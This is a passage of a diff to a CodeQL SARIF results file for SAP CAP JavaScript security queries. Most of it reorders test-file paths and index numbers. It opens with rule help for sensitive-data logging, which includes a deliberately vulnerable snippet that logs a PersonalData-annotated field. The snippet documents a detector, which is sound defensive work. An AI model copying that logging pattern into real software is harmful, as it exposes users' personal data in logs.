@PersonalData.IsPotentiallySensitive;\n}\n```\n\n``` javascript\nimport cds from '@sap/cds'\nconst LOG = cds.log(\"logger\");\n\nconst { Sample } = cds.entities('advanced_security.log_exposure.sample_entities')\n\nclass SampleVulnService extends cds.ApplicationService {\n init() {\n LOG.info(\"Received: \", Sample.name); // CAP log exposure alert\n }\n\n}\n```\n\n## References\n\n- OWASP 2021: [Security Logging and Monitoring Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/).\n- SAP CAPire Documentation: [PersonalData Annotations](https://cap.cloud.sap/docs/guides/data-privacy/annotations).", + "markdown" : " # CAP Insertion of Sensitive Information into Log File\n\nIf sensitive information is written to a log entry using the CAP Node.js logging API, a malicious user may be able to gain access to user data.\n\nData annotated as `@PersonalData` should not be logged.\n\n## Recommendation\n\nCAP applications should not log sensitive information. Check CDS declarations for annotations before logging certain data types or fields.\n\n## Examples\n\nThis CAP service directly logs the sensitive information.\n\n```cds\nnamespace advanced_security.log_exposure.sample_entities;\n\nentity Sample {\n name : String(111);\n}\n\n// annotations for Data Privacy\nannotate Sample with\n@PersonalData : { DataSubjectRole : 'Sample', EntitySemantics : 'DataSubject' }\n{\n name @PersonalData.IsPotentiallySensitive;\n}\n```\n\n``` javascript\nimport cds from '@sap/cds'\nconst LOG = cds.log(\"logger\");\n\nconst { Sample } = cds.entities('advanced_security.log_exposure.sample_entities')\n\nclass SampleVulnService extends cds.ApplicationService {\n init() {\n LOG.info(\"Received: \", Sample.name); // CAP log exposure alert\n }\n\n}\n```\n\n## References\n\n- OWASP 2021: [Security Logging and Monitoring Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/).\n- SAP CAPire Documentation: [PersonalData Annotations](https://cap.cloud.sap/docs/guides/data-privacy/annotations)." + }, + "properties" : { + "tags" : [ "security", "external/cwe/cwe-532" ], + "description" : "Writing sensitive information to log files can allow that\n information to be leaked to an attacker more easily.", + "id" : "javascript/sensitive-log", + "kind" : "path-problem", + "name" : "Insertion of sensitive information into log files", + "precision" : "medium", + "problem.severity" : "warning", + "security-severity" : "7.5" + } } ], "locations" : [ { "uri" : "file:///home/runner/work/codeql-sap-js/codeql-sap-js/javascript/frameworks/cap/src/", @@ -3128,7 +3155,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml", + "uri" : ".github/codeql/codeql-config.yaml", "uriBaseId" : "%SRCROOT%", "index" : 7 } @@ -3154,7 +3181,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : ".github/codeql/codeql-config.yaml", + "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 8 } @@ -3180,7 +3207,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/qlpack.yml", + "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 9 } @@ -3206,7 +3233,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml", + "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 10 } @@ -3232,7 +3259,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/ui5.model.yml", + "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 11 } @@ -3258,7 +3285,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/qlpack.yml", + "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/ui5.model.yml", "uriBaseId" : "%SRCROOT%", "index" : 12 } @@ -3440,7 +3467,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/lib/codeql-pack.lock.yml", + "uri" : "javascript/frameworks/cap/lib/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 19 } @@ -3492,7 +3519,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/lib/qlpack.yml", + "uri" : "javascript/frameworks/cap/lib/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 21 } @@ -3570,7 +3597,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 24 } @@ -3596,7 +3623,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/qlpack.yml", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 25 } @@ -3648,7 +3675,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/server.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 27 } @@ -3674,7 +3701,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/server.js", "uriBaseId" : "%SRCROOT%", "index" : 28 } @@ -3700,7 +3727,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 29 } @@ -3726,7 +3753,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 30 } @@ -3752,7 +3779,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 31 } @@ -3778,7 +3805,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/package.json", "uriBaseId" : "%SRCROOT%", "index" : 32 } @@ -3804,7 +3831,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/server.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 33 } @@ -3830,7 +3857,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/package.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/server.js", "uriBaseId" : "%SRCROOT%", "index" : 34 } @@ -4064,7 +4091,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 43 } @@ -4090,7 +4117,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 44 } @@ -4116,7 +4143,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 45 } @@ -4142,7 +4169,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/package.json", "uriBaseId" : "%SRCROOT%", "index" : 46 } @@ -4194,7 +4221,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 48 } @@ -4220,7 +4247,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/package.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 49 } @@ -4298,7 +4325,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 52 } @@ -4324,7 +4351,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 53 } @@ -4402,7 +4429,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/srv/privileged-user.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 56 } @@ -4428,7 +4455,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/srv/privileged-user.js", "uriBaseId" : "%SRCROOT%", "index" : 57 } @@ -4532,7 +4559,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/package.json", "uriBaseId" : "%SRCROOT%", "index" : 61 } @@ -4558,7 +4585,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/package.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/server.js", "uriBaseId" : "%SRCROOT%", "index" : 62 } @@ -4584,7 +4611,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/server.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 63 } @@ -4610,7 +4637,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 64 } @@ -4636,7 +4663,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 65 } @@ -4688,7 +4715,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 67 } @@ -4714,7 +4741,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 68 } @@ -4740,7 +4767,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/package.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/server.js", "uriBaseId" : "%SRCROOT%", "index" : 69 } @@ -4766,7 +4793,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/server.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/package.json", "uriBaseId" : "%SRCROOT%", "index" : 70 } @@ -4792,7 +4819,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 71 } @@ -4818,7 +4845,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 72 } @@ -4870,7 +4897,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 74 } @@ -4896,7 +4923,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/package.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 75 } @@ -4922,7 +4949,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/package.json", "uriBaseId" : "%SRCROOT%", "index" : 76 } @@ -4948,7 +4975,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/server.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 77 } @@ -4974,7 +5001,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/server.js", "uriBaseId" : "%SRCROOT%", "index" : 78 } @@ -5000,7 +5027,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 79 } @@ -5026,7 +5053,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 80 } @@ -5052,9 +5079,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js", "uriBaseId" : "%SRCROOT%", - "index" : 81 + "index" : 1 } } } ], @@ -5078,9 +5105,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 1 + "index" : 81 } } } ], @@ -5260,7 +5287,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 88 } @@ -5286,7 +5313,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 89 } @@ -5312,9 +5339,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/package.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", "uriBaseId" : "%SRCROOT%", - "index" : 90 + "index" : 2 } } } ], @@ -5338,9 +5365,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/server.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 91 + "index" : 90 } } } ], @@ -5364,9 +5391,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js", "uriBaseId" : "%SRCROOT%", - "index" : 92 + "index" : 91 } } } ], @@ -5390,9 +5417,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", - "index" : 93 + "index" : 92 } } } ], @@ -5416,9 +5443,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 94 + "index" : 93 } } } ], @@ -5442,9 +5469,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", - "index" : 95 + "index" : 94 } } } ], @@ -5468,9 +5495,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", - "index" : 96 + "index" : 95 } } } ], @@ -5494,9 +5521,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/server.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 97 + "index" : 96 } } } ], @@ -5520,9 +5547,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/package.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 98 + "index" : 97 } } } ], @@ -5546,9 +5573,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", - "index" : 99 + "index" : 98 } } } ], @@ -5572,9 +5599,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 100 + "index" : 99 } } } ], @@ -5598,9 +5625,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js", "uriBaseId" : "%SRCROOT%", - "index" : 101 + "index" : 100 } } } ], @@ -5624,9 +5651,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 102 + "index" : 101 } } } ], @@ -5650,9 +5677,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", - "index" : 2 + "index" : 102 } } } ], @@ -5676,7 +5703,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 103 } @@ -5702,7 +5729,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json", "uriBaseId" : "%SRCROOT%", "index" : 104 } @@ -5728,7 +5755,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js", "uriBaseId" : "%SRCROOT%", "index" : 105 } @@ -5754,7 +5781,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 106 } @@ -5780,7 +5807,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 107 } @@ -5806,7 +5833,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 108 } @@ -5832,7 +5859,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 109 } @@ -5858,7 +5885,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/package.json", "uriBaseId" : "%SRCROOT%", "index" : 110 } @@ -5884,7 +5911,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/package.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js", "uriBaseId" : "%SRCROOT%", "index" : 111 } @@ -5910,7 +5937,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 112 } @@ -5962,7 +5989,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : 